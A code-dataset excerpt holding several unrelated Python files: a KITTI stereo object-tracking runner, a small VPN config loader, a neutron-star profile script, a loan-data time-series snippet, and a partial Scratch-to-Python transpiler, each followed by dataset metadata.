positively effects confidence\n num_pose_score = get_confidence(max_point=10, value=len(track.poses))\n\n # dist from camera negatively effects confidence\n dist_cam_score = get_confidence(\n max_point=100, value=track.dist_from_cam, upward_sloping=False,\n )\n\n confidence_score = (\n btf_score * num_lm_score * num_pose_score * dist_cam_score\n )\n\n line = get_3d_track_line(\n img_id=img_id,\n track_id=track_id,\n obj_type=obj_type,\n dims=dims,\n loc=loc_cam.flatten().tolist(),\n rot=rot_angle.flatten()[0],\n bbox_2d=bbox2d,\n confidence_score=confidence_score,\n alpha=alpha.flatten()[0],\n )\n fp.write(line + \"\\n\")\n\n\ndef _write_2d_detections(\n writer_data_2d: Union[queue.Queue, mp.Queue],\n scene: str,\n kitti_path: Path,\n img_shape: Tuple[int, int],\n tags: List[str],\n):\n path = kitti_path / \"improved_2d_tracking\"\n for tag in tags:\n path /= tag\n fname = path / (scene + \".txt\")\n path.mkdir(parents=True, exist_ok=True)\n height, width = img_shape\n with open(fname, \"w\") as fp:\n while True:\n img_data = writer_data_2d.get(block=True)\n writer_data_2d.task_done()\n if not img_data:\n LOGGER.debug(\"Finished writing 2d detections\")\n break\n img_id = img_data[\"img_id\"]\n LOGGER.debug(\"Got 2d detection data for image %d\", img_id)\n for i in range(len(img_data[\"track_ids\"])):\n track_id = img_data[\"track_ids\"][i]\n mask = img_data[\"masks\"][i]\n cls = img_data[\"object_classes\"][i]\n line = get_2d_track_line(\n img_id=img_id,\n track_id=track_id,\n mask=mask,\n height=height,\n width=width,\n obj_cls=cls,\n )\n fp.write(line + \"\\n\")\n\n\ndef _get_image_stream(\n kitti_path: str,\n scene: str,\n stop_flag: Union[threading.Event, mp.Event],\n offset: int,\n) -> Iterable[Tuple[int, StereoImage]]:\n left_img_path = Path(kitti_path) / \"image_02\" / scene\n right_img_path = Path(kitti_path) / \"image_03\" / scene\n left_imgs = sorted(glob.glob(left_img_path.as_posix() + \"/*.png\"))\n right_imgs = sorted(glob.glob(right_img_path.as_posix() + \"/*.png\"))\n if not left_imgs or not right_imgs or len(left_imgs) != len(right_imgs):\n raise ValueError(\n f\"No or differing amount of images found at {left_img_path.as_posix()} and {right_img_path.as_posix()}\"\n )\n\n LOGGER.debug(\n \"Found %d left images and %d right images\", len(left_imgs), len(right_imgs)\n )\n LOGGER.debug(\"Starting at image %d\", offset)\n img_id = offset\n for left, right in tqdm.tqdm(\n zip(left_imgs[offset:], right_imgs[offset:]), total=len(left_imgs[offset:]),\n ):\n left_img = cv2.imread(left, cv2.IMREAD_COLOR).astype(np.uint8)\n right_img = cv2.imread(right, cv2.IMREAD_COLOR).astype(np.uint8)\n height, width = left_img.shape[:2]\n yield img_id, StereoImage(\n left_img, right_img, img_height=height, img_width=width\n )\n img_id += 1\n LOGGER.debug(\"Setting stop flag\")\n stop_flag.set()\n\n\ndef _validate_args(args):\n if args.indeces and args.neg_indeces:\n raise ValueError(\"Can't provide `-id` and `-nid` at the same time\")\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\"BAMOT with GT KITTI data\")\n parser.add_argument(\n \"-v\",\n \"--verbosity\",\n dest=\"verbosity\",\n help=\"verbosity of output (default is INFO, surpresses most logs)\",\n type=str,\n choices=[\"DEBUG\", \"INFO\", \"ERROR\"],\n default=\"INFO\",\n )\n parser.add_argument(\n \"-s\",\n \"--scene\",\n dest=\"scene\",\n help=\"scene to run (default is 0)\",\n choices=range(0, 29),\n type=int,\n default=0,\n )\n parser.add_argument(\n \"-o\",\n \"--offset\",\n dest=\"offset\",\n help=\"The image number offset to use (i.e. start at image # instead of 0)\",\n type=int,\n default=0,\n )\n parser.add_argument(\n \"-nv\",\n \"--no-viewer\",\n dest=\"no_viewer\",\n help=\"Disable viewer\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"-mp\",\n \"--multiprocessing\",\n help=\"Whether to run viewer in separate process (default separate thread).\",\n dest=\"multiprocessing\",\n action=\"store_true\",\n )\n parser.add_argument(\n \"-c\",\n \"--continuous\",\n dest=\"continuous\",\n type=int,\n help=(\n \"Up to which image id to run viewer continuously. \"\n \"If not set, next step can be run via 'n' keypress. \"\n \"If set without argument, entire sequence is run continuously.\"\n ),\n nargs=\"?\",\n const=-1,\n default=0,\n )\n parser.add_argument(\n \"--classes\",\n type=str,\n nargs=\"+\",\n help=\"Which classes to detect from {car, pedestrian} (default is car and pedestrian)\",\n default=[\"car\", \"pedestrian\"],\n )\n parser.add_argument(\n \"-t\",\n \"--tags\",\n type=str,\n nargs=\"+\",\n help=\"One or several tags for the given run (default=`YEAR_MONTH_DAY-HOUR_MINUTE`)\",\n default=[datetime.datetime.strftime(datetime.datetime.now(), \"%Y_%m_%d-%H_%M\")],\n )\n parser.add_argument(\n \"--out\",\n dest=\"out\",\n type=str,\n help=\"\"\"Where to save GT and estimated object trajectories\n (default: `/trajectories///[0]/[1]/.../[N]`)\"\"\",\n )\n parser.add_argument(\n \"-id\",\n \"--indeces\",\n dest=\"indeces\",\n help=\"Use this to only track specific object ids (can't be used in conjunction w/ `-nid`)\",\n nargs=\"+\",\n )\n parser.add_argument(\n \"-nid\",\n \"--neg-indeces\",\n dest=\"neg_indeces\",\n help=\"Use this to exclude tracks w/ specific object ids (can't be used in conjunction w/ `-id`)\",\n nargs=\"+\",\n )\n parser.add_argument(\n \"-r\",\n \"--record\",\n dest=\"record\",\n help=\"Record sequence from viewer at given path (ignored if `--no-viewer` is set)\",\n type=str,\n )\n\n parser.add_argument(\n \"-no-gt\",\n \"--viewer-disable-gt\",\n dest=\"viewer_disable_gt\",\n action=\"store_true\",\n help=\"Disables display of GT bounding boxes in viewer (and trajectories)\",\n )\n parser.add_argument(\n \"--trajs\",\n dest=\"trajs\",\n type=str,\n choices=[\"offline\", \"online\", \"both\", \"none\"],\n help=\"Which estimated trajectories to display in viewer (`none` disables GT trajectories as well - default: `both`)\",\n default=\"both\",\n )\n parser.add_argument(\n \"--use-gt\",\n help=\"Use ground truth object masks for left image\",\n action=\"store_true\",\n )\n\n args = parser.parse_args()\n _validate_args(args)\n scene = str(args.scene).zfill(4)\n kitti_path = Path(config.KITTI_PATH)\n if args.use_gt:\n obj_detections_path = Path(config.GT_DETECTIONS_PATH)\n else:\n obj_detections_path = Path(config.EST_DETECTIONS_PATH)\n\n LOGGER.setLevel(LOG_LEVELS[args.verbosity])\n\n LOGGER.info(30 * \"+\")\n LOGGER.info(\"STARTING BAMOT with GT KITTI data\")\n LOGGER.info(\"SCENE: %s\", scene)\n LOGGER.info(\"USING GT: %s\", args.use_gt)\n LOGGER.info(\"VERBOSITY LEVEL: %s\", args.verbosity)\n LOGGER.info(\"USING MULTI-PROCESS: %s\", args.multiprocessing)\n LOGGER.info(\"CONFIG:\\n%s\", json.dumps(get_config_dict(), indent=4))\n LOGGER.info(30 * \"+\")\n\n if args.multiprocessing:\n queue_class = mp.JoinableQueue\n flag_class = mp.Event\n process_class = mp.Process\n else:\n queue_class = queue.Queue\n flag_class = threading.Event\n process_class = threading.Thread\n shared_data = queue_class()\n returned_data = queue_class()\n writer_data_2d = queue_class()\n writer_data_3d = queue_class()\n slam_data = queue_class()\n stop_flag = flag_class()\n next_step = flag_class()\n img_shape = get_image_shape(kitti_path, scene)\n image_stream = _get_image_stream(kitti_path, scene, stop_flag, offset=args.offset)\n stereo_cam, T02 = get_cameras_from_kitti(kitti_path, scene)\n gt_poses = get_gt_poses_from_kitti(kitti_path, scene)\n detection_stream = get_detection_stream(\n obj_detections_path,\n scene=scene,\n offset=args.offset,\n object_ids=[int(idx) for idx in args.indeces] if args.indeces else None,\n classes=args.classes,\n )\n\n slam_process = process_class(\n target=_fake_slam, args=[slam_data, gt_poses, args.offset], name=\"Fake SLAM\"\n )\n write_2d_process = process_class(\n target=_write_2d_detections,\n kwargs={\n \"writer_data_2d\": writer_data_2d,\n \"scene\": scene,\n \"kitti_path\": kitti_path,\n \"img_shape\": img_shape[:2],\n \"tags\": args.tags,\n },\n name=\"2D Detection Writer\",\n )\n write_3d_process = process_class(\n target=_write_3d_detections,\n kwargs={\n \"writer_data_3d\": writer_data_3d,\n \"scene\": scene,\n \"kitti_path\": kitti_path,\n \"tags\": args.tags,\n },\n name=\"3D Detection Writer\",\n )\n\n continue_until_image_id = -1 if args.no_viewer else args.continuous + args.offset\n mot_process = process_class(\n target=run,\n kwargs={\n \"images\": image_stream,\n \"detections\": detection_stream,\n \"img_shape\": img_shape,\n \"stereo_cam\": stereo_cam,\n \"slam_data\": slam_data,\n \"shared_data\": shared_data,\n \"stop_flag\": stop_flag,\n \"next_step\": next_step,\n \"returned_data\": returned_data,\n \"writer_data_2d\": writer_data_2d,\n \"writer_data_3d\": writer_data_3d,\n \"continuous_until_img_id\": continue_until_image_id,\n },\n name=\"BAMOT\",\n )\n if config.SAVE_UPDATED_2D_TRACK:\n LOGGER.debug(\"Starting 2d detection writer\")\n write_2d_process.start()\n if config.SAVE_3D_TRACK:\n LOGGER.info(\"Starting 3d detection writer\")\n write_3d_process.start()\n LOGGER.debug(\"Starting fake SLAM\")\n slam_process.start()\n LOGGER.debug(\"Starting MOT\")\n mot_process.start()\n LOGGER.debug(\"Starting viewer\")\n if args.no_viewer:\n while not stop_flag.is_set():\n shared_data.get(block=True)\n shared_data.task_done()\n next_step.set()\n else:\n run_viewer(\n shared_data=shared_data,\n stop_flag=stop_flag,\n next_step=next_step,\n save_path=Path(args.record) if args.record else None,\n gt_poses=gt_poses,\n label_data=None,\n recording=args.record,\n trajs=args.trajs,\n show_gt=False,\n track_ids_match=args.use_gt,\n )\n while not shared_data.empty():\n shared_data.get()\n shared_data.task_done()\n time.sleep(0.5)\n shared_data.join()\n\n LOGGER.info(\"No more frames - terminating processes\")\n returned = returned_data.get()\n track_id_to_class_mapping = returned[\"track_id_to_class_mapping\"]\n point_cloud_sizes = returned[\"point_cloud_sizes\"]\n offline_trajectories, online_trajectories = returned[\"trajectories\"]\n (\n estimated_trajectories_world_offline,\n estimated_trajectories_cam_offline,\n ) = offline_trajectories\n (\n estimated_trajectories_world_online,\n estimated_trajectories_cam_online,\n ) = online_trajectories\n\n returned_data.task_done()\n LOGGER.info(\"Joining returned data queue\")\n returned_data.join()\n LOGGER.info(\"Joined returned data queue\")\n LOGGER.info(\"Joining fake SLAM thread\")\n while not slam_data.empty():\n slam_data.get()\n slam_data.task_done()\n slam_data.join()\n slam_process.join()\n LOGGER.info(\"Joined fake SLAM thread\")\n LOGGER.info(\"Joining MOT thread\")\n mot_process.join()\n LOGGER.info(\"Joined MOT thread\")\n if not args.out:\n out_path = kitti_path / \"trajectories\" / scene / config.FEATURE_MATCHER\n for tag in args.tags:\n out_path /= tag\n else:\n out_path = Path(args.out)\n\n # Save trajectories\n offline_path = out_path / \"offline\"\n online_path = out_path / \"online\"\n offline_path.mkdir(exist_ok=True, parents=True)\n online_path.mkdir(exist_ok=True, parents=True)\n out_est_world_offline = offline_path / \"est_trajectories_world.json\"\n out_est_cam_offline = offline_path / \"est_trajectories_cam.json\"\n out_est_world_online = online_path / \"est_trajectories_world.json\"\n out_est_cam_online = online_path / \"est_trajectories_cam.json\"\n # estimated (both on- and offline)\n with open(out_est_world_offline, \"w\") as fp:\n json.dump(estimated_trajectories_world_offline, fp, indent=4, sort_keys=True)\n with open(out_est_cam_offline, \"w\") as fp:\n json.dump(estimated_trajectories_cam_offline, fp, indent=4, sort_keys=True)\n with open(out_est_world_online, \"w\") as fp:\n json.dump(estimated_trajectories_world_online, fp, indent=4, sort_keys=True)\n with open(out_est_cam_online, \"w\") as fp:\n json.dump(estimated_trajectories_cam_online, fp, indent=4, sort_keys=True)\n LOGGER.info(\n \"Saved estimated object track trajectories to %s\", out_path,\n )\n track_id_to_class_mapping_path = out_path / \"track_id_to_class.json\"\n with open(track_id_to_class_mapping_path, \"w\") as fp:\n json.dump(track_id_to_class_mapping, fp, indent=4, sort_keys=True)\n\n if config.TRACK_POINT_CLOUD_SIZES and point_cloud_sizes:\n point_cloud_size_summary_file = out_path / \"pcl.json\"\n summary = {}\n max_size = max(map(max, point_cloud_sizes.values()))\n min_size = min(map(min, point_cloud_sizes.values()))\n sum_and_len = [\n (sum(s), len(s)) for s in [sizes for sizes in point_cloud_sizes.values()]\n ]\n total_sum = sum(s[0] for s in sum_and_len)\n total_len = sum(s[1] for s in sum_and_len)\n avg_size = total_sum / total_len\n max_size_obj = max(map(np.mean, point_cloud_sizes.values()))\n min_size_obj = min(map(np.mean, point_cloud_sizes.values()))\n avg_size_obj = np.mean(list(map(np.mean, point_cloud_sizes.values())))\n summary[\"max\"] = max_size\n summary[\"min\"] = min_size\n summary[\"avg\"] = avg_size\n summary[\"avg-obj\"] = avg_size_obj\n summary[\"min-obj\"] = min_size_obj\n summary[\"max-obj\"] = max_size_obj\n LOGGER.info(\"Point cloud statistics:\")\n LOGGER.info(json.dumps(summary, indent=4))\n with open(point_cloud_size_summary_file, \"w\") as fp:\n json.dump(summary, fp, indent=4)\n\n # Save config + git hash\n state_file = out_path / \"state.json\"\n with open(state_file, \"w\") as fp:\n state = {}\n state[\"CONFIG\"] = get_config_dict()\n state[\"HASH\"] = subprocess.run(\n [\"git\", \"rev-parse\", \"--short\", \"HEAD\"],\n capture_output=True,\n encoding=\"utf-8\",\n check=True,\n ).stdout.strip()\n json.dump(state, fp, indent=4)\n\n if config.SAVE_UPDATED_2D_TRACK:\n LOGGER.debug(\"Joining 2d detection writer\")\n write_2d_process.join()\n if config.SAVE_3D_TRACK:\n LOGGER.debug(\"Joining 3d detection writer\")\n write_3d_process.join()\n while not writer_data_2d.empty():\n writer_data_2d.get()\n writer_data_2d.task_done()\n time.sleep(0.5)\n writer_data_2d.join()\n while not writer_data_3d.empty():\n writer_data_3d.get()\n writer_data_3d.task_done()\n time.sleep(0.5)\n writer_data_3d.join()\n LOGGER.info(\"FINISHED RUNNING KITTI GT MOT\")\n","sub_path":"run_kitti_test_mot.py","file_name":"run_kitti_test_mot.py","file_ext":"py","file_size_in_byte":21126,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"111897170","text":"import yaml\n\nfrom vpnexcept import VPNException\n\n\nclass InvalidConfigException(VPNException):\n pass\n\nclass VPNConfig(object):\n def __init__(self, path_to_config=None):\n self.__path = path_to_config or self.__class__.__default_config_file\n self.read_config()\n #self.validate()\n\n def read_config(self):\n try:\n with open(self.__path) as config_file:\n self.config = yaml.load(config_file)\n except Exception:\n ex = InvalidConfigException()\n ex.msg = \"configuration file reading failed\"\n raise ex\n\n def validate(self):\n for validator in self.__class__.__conf_validators:\n if not validator(self.config):\n ex = InvalidConfigException()\n ex.msg = \"wtf\"\n raise ex\n\n def __getattr__(self, attr):\n if attr in self.config:\n return self.config[attr]\n else:\n return super(VPNConfig, self).__getattr__(attr)\n\n def __getitem__(self, item):\n if item in self.config:\n return self.config[item]\n\n def __setitem__(self, key, value):\n self.config[key] = value\n\n def __iter__(self):\n return iter(self.config)\n\nclass VPNClientConfig(VPNConfig):\n __default_config_file = \"/etc/pyvpn/client.conf\"\n __conf_validators = [\n lambda c: \"subnet\" in c,\n lambda c: \"netmask\" in c,\n ]\n\n\nclass VPNServerConfig(VPNConfig):\n __default_config_file = \"/etc/pyvpn/server.conf\"\n __conf_validators = [\n lambda c: \"subnet\" in c,\n lambda c: \"netmask\" in c,\n ]\n","sub_path":"PyVPN/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"290563558","text":"import eosWrap as eos\nimport numpy as np\nfrom Wrapper import Wrapper\nimport matplotlib.pyplot as plt\nimport Models\nfrom tabulate import tabulate\nfrom os.path import join\n\n\nmodel = Models.myMod\n\nf0 = 0.195\nK = 240.\n\nfolderName = join('/home/const/Dropbox/Documents/For DN/Very final/data',\n model.__name__)\n\nif model.__name__ == 'KVORLowerK':\n folderName += '%.2f_%.0f'%(f0, K)\n\nif model.__name__ == 'myModLowerK':\n folderName += '%.0f'%(K)\n\n\n\n\nif model.__name__ == 'KVORLowerK':\n args = (f0, K)\nelif model.__name__ == 'myModLowerK':\n args = (K,)\nelse:\n args=()\n \nC = model(*args)\n\nwr = Wrapper(C)\nC.Hyper=0\nwr.dumpStarProfile(5.67, folderName)\nexit()\n# wr.reset()\n# wr.setDriver()\nn_star = 5.25*wr.n0\n\nn, m, r, mg1, mg2 = wr.stars_crust(nmin=wr.n0, nmax=n_star+0.01, npoints=2)\n\nE = wr.dr.getLastE(wr.dr.nSize)\nN = wr.dr.getLastN(wr.dr.nSize)\nP = wr.dr.getLastP(wr.dr.nSize)\nR = wr.dr.getLastR(wr.dr.nSize)\n# plt.plot(N/N[0], E)\n# plt.plot(N/N[0], P)\n# plt.plot(N/N[0], N/N[0], ls='--')\n\nplt.plot(R, E)\nplt.plot(R, P)\nax = plt.gca()\n# ax.invert_xaxis()\nplt.show()","sub_path":"StarProfiles/StarProfiles.py","file_name":"StarProfiles.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"551384189","text":"import pandas as pd\r\nimport numpy as np \r\n\r\ndf = pd.read_csv('Lending Data\\LoanStats.csv', header=1, low_memory=False)\r\n\r\n# converts string to datetime object in pandas:\r\ndf['issue_d_format'] = pd.to_datetime(df['issue_d']) \r\ndfts = df.set_index('issue_d_format') \r\nyear_month_summary = dfts.groupby(lambda x : x.year * 100 + x.month).count()\r\nloan_count_summary = year_month_summary['issue_d']","sub_path":"time_series.py","file_name":"time_series.py","file_ext":"py","file_size_in_byte":394,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"352119604","text":"# Convert a .sb2 into a .py - the .sb2 file is still needed for resources\n\nimport zipfile, tokenize, collections\nimport json as json_\n\nclass JSON_Wrap:\n def __new__(cls, data):\n if isinstance(data, dict):\n return super(JSON_Wrap, cls).__new__(cls)\n elif isinstance(data, list):\n return [cls(datum) for datum in data]\n return data\n def __init__(self, data):\n self._data = data\n def __dir__(self):\n return list(self._data.keys)\n def __repr__(self):\n return repr(self._data)\n def __getattr__(self, attr):\n try:\n return JSON_Wrap(self._data[attr])\n except KeyError:\n raise AttributeError\n\nSprite = collections.namedtuple(\"Sprite\", \"name attr scripts vars lists costumes sounds\")\nSound = collections.namedtuple(\"Sound\", \"name resource\")\nCostume = collections.namedtuple(\"Costume\", \"name resource cx cy layer\")\nBlock = collections.namedtuple(\"Block\", \"name args\")\nVariable = collections.namedtuple(\"Variable\", \"name val\")\nList = collections.namedtuple(\"List\", \"name contents\")\n\ndef get_json(path):\n \"Extracts the json from a .sb2 file\"\n with zipfile.ZipFile(path, 'r') as project:\n with project.open(\"project.json\", \"r\") as data:\n return JSON_Wrap(json_.loads(data.read().decode()))\n\ndef get_stage_and_sprites(json):\n \"Extracts the sprites from json\"\n def convert(script):\n if isinstance(script, list):\n name, *args = script\n converted_args = []\n for arg in args:\n if isinstance(arg, list) and isinstance(arg[0], list):\n converted_args.append([convert(sub) for sub in arg])\n else:\n converted_args.append(convert(arg))\n return Block(name, converted_args)\n return script\n sprites = []\n for child in json.children:\n if hasattr(child, \"objName\"):\n name = child.objName.replace(\" \",\"_\").replace(\"!\",\"_\").replace(\"-\",\"_\").replace(\"ø\",\"oe\")\n attr_names = \"objName currentCostumeIndex scratchX scratchY scale direction rotationStyle isDraggable indexInLibrary visible\".split(' ')\n attrs = {}\n for a in attr_names:\n attrs[a] = getattr(child, a, None)\n\n scripts = []\n for script in getattr(child, \"scripts\", []):\n script = script[2]\n if script[0][0] == \"procDef\":\n scripts.append([Block(\"procDef\", JSON_Wrap({\"name\": script[0][1],\n \"args\": script[0][2],\n \"defaults\": script[0][3],\n \"atomic\": script[0][4]})),\n *[convert(block) for block in script[1:]]])\n else:\n scripts.append([convert(block) for block in script])\n vars = [Variable(var.name, var.value) for var in getattr(child, \"variables\", [])]\n lists = [List(l.listName, l.contents) for l in getattr(child, \"lists\", [])]\n costumes = [Costume(c.costumeName, c.baseLayerMD5,\n c.rotationCenterX, c.rotationCenterY, c.baseLayerID) \n for c in getattr(child, \"costumes\", []) ]\n sounds = [Sound(s.soundName, s.md5)\n for s in getattr(child, \"sounds\", []) ]\n sprites.append(Sprite(name, attrs, scripts, vars, lists, costumes, sounds))\n elif hasattr(child, \"cmd\"):\n print(f'Ignore cmd {child.cmd}{child.target}.{child.param}')\n elif hasattr(child, \"listName\"):\n print(f'Ignore list {child.listName}: {child.contents}')\n else:\n print('---- Unknown block ----------------------------------------')\n print(child)\n # Stage\n attr_names = \"objName currentCostumeIndex penLayerMD5 penLayerID tempoBPM videoAlpha\".split(' ')\n attrs = {}\n for a in attr_names:\n attrs[a] = getattr(json, a, None)\n scripts = []\n for script in getattr(json, \"scripts\", []):\n script = script[2]\n scripts.append([convert(block) for block in script])\n vars = [Variable(var.name, var.value) for var in getattr(json, \"variables\", [])]\n lists = [List(l.listName, l.contents) for l in getattr(json, \"lists\", [])]\n costumes = [Costume(c.costumeName, c.baseLayerMD5,\n c.rotationCenterX, c.rotationCenterY, c.baseLayerID) \n for c in getattr(json, \"costumes\", []) ]\n sounds = [Sound(s.soundName, s.md5)\n for s in getattr(json, \"sounds\", []) ]\n stage = Sprite(\"Stage\", attrs, scripts, vars, lists, costumes, sounds)\n return stage, sprites\n\ndef indent(amount, code):\n return \"\\n\".join(\" \"*amount + line for line in code.split(\"\\n\"))\n\n# Register of missing features in transpiler\nunknown_block_names = set()\n\ndef sprites_to_py(objects, name):\n \"Converts the sprites to a .py file\"\n header = \"\"\"#! usr/bin/env python3\n# -*- coding: latin-1 -*-\n# {}\n\nimport asyncio, random\nimport pygame\n\nloop = asyncio.get_event_loop()\n\"\"\".format(name)\n\n footer = \"\"\"\n\ndef main():\n broadcast(GREENFLAG)\n tasks = asyncio.all_tasks()\n loop.run_until_complete(asyncio.gather(*tasks))\n loop.close()\n\nmain()\"\"\"\n\n stage, sprites = objects\n global_vars = repr(dict(stage.vars))\n global_lists = repr(dict(stage.lists))\n header += \"\\nglobal_vars = {}\\n\".format(global_vars)\n header += \"global_lists = {}\\n\".format(global_lists)\n header += \"\\n{}\\n\".format(open(\"runtime.py\").read())\n converted_stage = convert_object(\"Stage\", stage)\n converted_sprites = [convert_object(\"Sprite\", sprite) for sprite in sprites]\n if len(unknown_block_names) > 0:\n print('This file uses the following unsupported block names:\\n{}'.format('\\n'.join([' {}'.format(name) for name in sorted(list(unknown_block_names))])))\n return header + \"{}\\n\\n\".format(converted_stage) + '\\n\\n'.join(converted_sprites) + footer\n\ndef convert_object(type_, sprite):\n \"Converts the sprite to a class\"\n class_template = \"\"\"@create_sprite\nclass {}(runtime_{}):\n my_vars = {}\n my_lists = {}\n my_sounds = {}\n my_costumes = {}\n my_attr = {}\n{}\"\"\"\n custom_template = \"\"\"async def {}(self, {}):\n{}\"\"\"\n funcs = []\n greenflags = 0\n slots = 0\n for script in sprite.scripts:\n hat, *blocks = script\n if hat.name == \"whenGreenFlag\":\n greenflags += 1\n func_name = f\"greenflag{greenflags}\"\n func_body = indent(4, convert_blocks(blocks))\n func_def = f'@on_broadcast(GREENFLAG)\\nasync def {func_name}(self):\\n{func_body}'\n funcs.append(func_def)\n elif hat.name == \"procDef\":\n block_name = hat.args.name.replace(\"%\", \"\").replace(\" \", \"_\")\n args = list(zip(hat.args.args, hat.args.defaults))\n args = \", \".join(\"{}={}\".format(name, default) for (name, default) in args)\n body = indent(4, convert_blocks(blocks))\n funcs.append(custom_template.format(block_name, args, body))\n elif hat.name == \"whenIReceive\":\n event_name = hat.args[0]\n slots += 1\n func_name = f\"slot{slots}\"\n func_body = indent(4, convert_blocks(blocks))\n func_def = f'@on_broadcast(\"{event_name}\")\\nasync def {func_name}(self):\\n{func_body}'\n funcs.append(func_def)\n else:\n print(f'Unknown hat \"{hat.name}\"')\n return class_template.format(sprite.name,\n type_,\n repr([tuple(v) for v in sprite.vars]),\n repr([tuple(l) for l in sprite.lists]),\n repr([tuple(s) for s in sprite.sounds]),\n repr([tuple(c) for c in sprite.costumes]),\n repr(sprite.attr),\n indent(4, (\"\\n\\n\".join(funcs) if funcs else \"pass\")))\n\ndef convert_blocks(blocks):\n '''Convert blocks that do not return a value'''\n global unknown_block_errors\n lines = []\n for block in blocks:\n if block.name == \"say:duration:elapsed:from:\":\n lines.append(\"await self.sayfor({}, {})\".format(*map(convert_reporters, block.args)))\n elif block.name == \"say:\":\n lines.append(\"await self.say({})\".format(*map(convert_reporters, block.args)))\n elif block.name == \"think:duration:elapsed:from:\":\n lines.append(\"await self.thinkfor({}, {})\".format(*map(convert_reporters, block.args)))\n elif block.name == \"think:\":\n lines.append(\"await self.think({})\".format(*map(convert_reporters, block.args)))\n elif (block.name == \"wait:elapsed:from\"\n or block.name == \"wait:elapsed:from:\"):\n lines.append(\"await asyncio.sleep({})\".format(*map(convert_reporters, block.args)))\n elif block.name == \"doAsk\":\n lines.append(\"await self.ask({})\".format(*map(convert_reporters, block.args)))\n elif block.name == \"doForever\":\n lines.append(\"while True:\\n{}\\n await asyncio.sleep(0)\".format(indent(4, convert_blocks(block.args[0]))))\n elif block.name == \"doRepeat\":\n lines.append(\"for _ in range({}):\\n{}\\n await asyncio.sleep(0)\".format(convert_reporters(block.args[0]),\n indent(4, convert_blocks(block.args[1]))))\n elif block.name == \"doUntil\":\n body = block.args[1]\n cond = Block(\"not\", [block.args[0]])\n # Optimize: eliminate \"not not\" expression\n if cond.name == \"not\" and isinstance(cond.args[0], Block) and cond.args[0].name == \"not\":\n cond = cond.args[0].args[0]\n lines.append(\"while {}:\\n{}\\n await asyncio.sleep(0)\".format(\n convert_reporters(cond),\n indent(4, convert_blocks(body)) ))\n elif block.name == \"doWaitUntil\":\n lines.append(\"while not {}:\\n await asyncio.sleep(0)\".format(convert_reporters(block.args[0])))\n elif block.name == \"setVar:to:\":\n lines.append(\"self.set_var({}, {})\".format(*map(convert_reporters, block.args)))\n elif block.name == \"changeVar:by:\":\n lines.append(\"self.change_var({}, {})\".format(*map(convert_reporters, block.args)))\n elif block.name == \"call\":\n func = block.args[0].replace(\"%\", \"\").replace(\" \", \"_\")\n args = \", \".join(map(convert_reporters, block.args[1:]))\n lines.append(\"await self.{}({})\".format(func, args))\n elif block.name == \"doIfElse\":\n pred = convert_reporters(block.args[0])\n if_clause, else_clause = map(convert_blocks, block.args[1:])\n lines.append(\"if {}:\\n{}\\nelse:\\n{}\".format(pred,\n indent(4, if_clause),\n indent(4, else_clause)))\n elif block.name == \"doIf\":\n pred = convert_reporters(block.args[0])\n if_clause = convert_blocks(block.args[1])\n lines.append(\"if {}:\\n{}\".format(pred, indent(4, if_clause)))\n elif block.name == \"append:toList:\":\n lines.append(\"self.add_to_list({}, {})\".format(*map(convert_reporters, block.args)))\n elif block.name == \"deleteLine:ofList:\":\n lines.append(\"self.delete_stuff_from_list({}, {})\".format(\n *map(convert_reporters, block.args)))\n elif block.name == \"insert:at:ofList:\":\n lines.append(\"self.insert_thing_in_list({}, {}, {})\".format(\n *map(convert_reporters, block.args)))\n elif block.name == \"setLine:ofList:to:\":\n lines.append(\"self.replace_thing_in_list({}, {}, {})\".format(\n *map(convert_reporters, block.args)))\n #\n # Event\n #\n elif block.name == \"broadcast:\":\n lines.append(\"broadcast({})\".format(*map(convert_reporters, block.args)))\n #\n # Sound\n #\n elif block.name == \"playSound:\":\n lines.append(\"self.play_sound({})\".format(*map(convert_reporters, block.args)))\n elif block.name == \"stopAllSounds\":\n lines.append(\"stop_all_sounds()\")\n #\n # Error handling\n #\n else:\n lines.append(\"UNKNOWN_block_{}({})\".format(\n block.name, ', '.join(map(convert_reporters, block.args)) ))\n unknown_block_names.add(block.name)\n if lines:\n return \"\\n\".join(lines)\n else:\n return \"pass\"\n\ndef convert_reporters(block):\n ''' Reporters are blocks that return a value '''\n global unknown_block_names\n if isinstance(block, (str, int, float, bool)):\n return repr(block)\n elif block.name in (\"+\", \"-\", \"*\", \"/\", \"%\"):\n return \"convert_and_run_math({}, {}, {})\".format(\n repr(block.name),\n convert_reporters(block.args[0]),\n convert_reporters(block.args[1]))\n elif block.name in (\"=\", \">\", \"<\"):\n return \"convert_and_run_comp({}, {}, {})\".format(\n repr(block.name),\n convert_reporters(block.args[0]),\n convert_reporters(block.args[1])\n )\n elif block.name in (\"&\", \"|\"):\n op = {\"&\": \"and\", \"|\":\"or\"}[block.name]\n return \"({} {} {})\".format(convert_reporters(block.args[0]),\n op,\n convert_reporters(block.args[1]))\n elif block.name == \"not\":\n return \"(not {})\".format(convert_reporters(block.args[0]))\n elif block.name == \"concatenate:with:\":\n return \"(str({}) + str({}))\".format(*map(convert_reporters, block.args))\n elif block.name == \"answer\":\n return \"self.answer()\"\n elif block.name == \"readVariable\":\n return \"self.get_var({})\".format(repr(block.args[0]))\n elif block.name == \"getParam\":\n return block.args[0]\n elif block.name == \"contentsOfList:\":\n return \"self.get_list_as_string({})\".format(convert_reporters(block.args[0]))\n elif block.name == \"lineCountOfList:\":\n return \"self.length_of_list({})\".format(convert_reporters(block.args[0]))\n elif block.name == \"list:contains:\":\n return \"self.list_contains_thing({}, {})\".format(*map(convert_reporters, block.args))\n elif block.name == \"getLine:ofList:\":\n return \"self.item_of_list({}, {})\".format(*map(convert_reporters, block.args))\n elif block.name == \"randomFrom:to:\":\n return \"pick_random({}, {})\".format(*map(convert_reporters, block.args))\n #\n # Sensing\n #\n elif block.name == \"keyPressed:\":\n return \"key_pressed({})\".format(*map(convert_reporters, block.args))\n \n #\n # Unsupported features\n #\n else:\n unknown_block_names.add(block.name)\n return 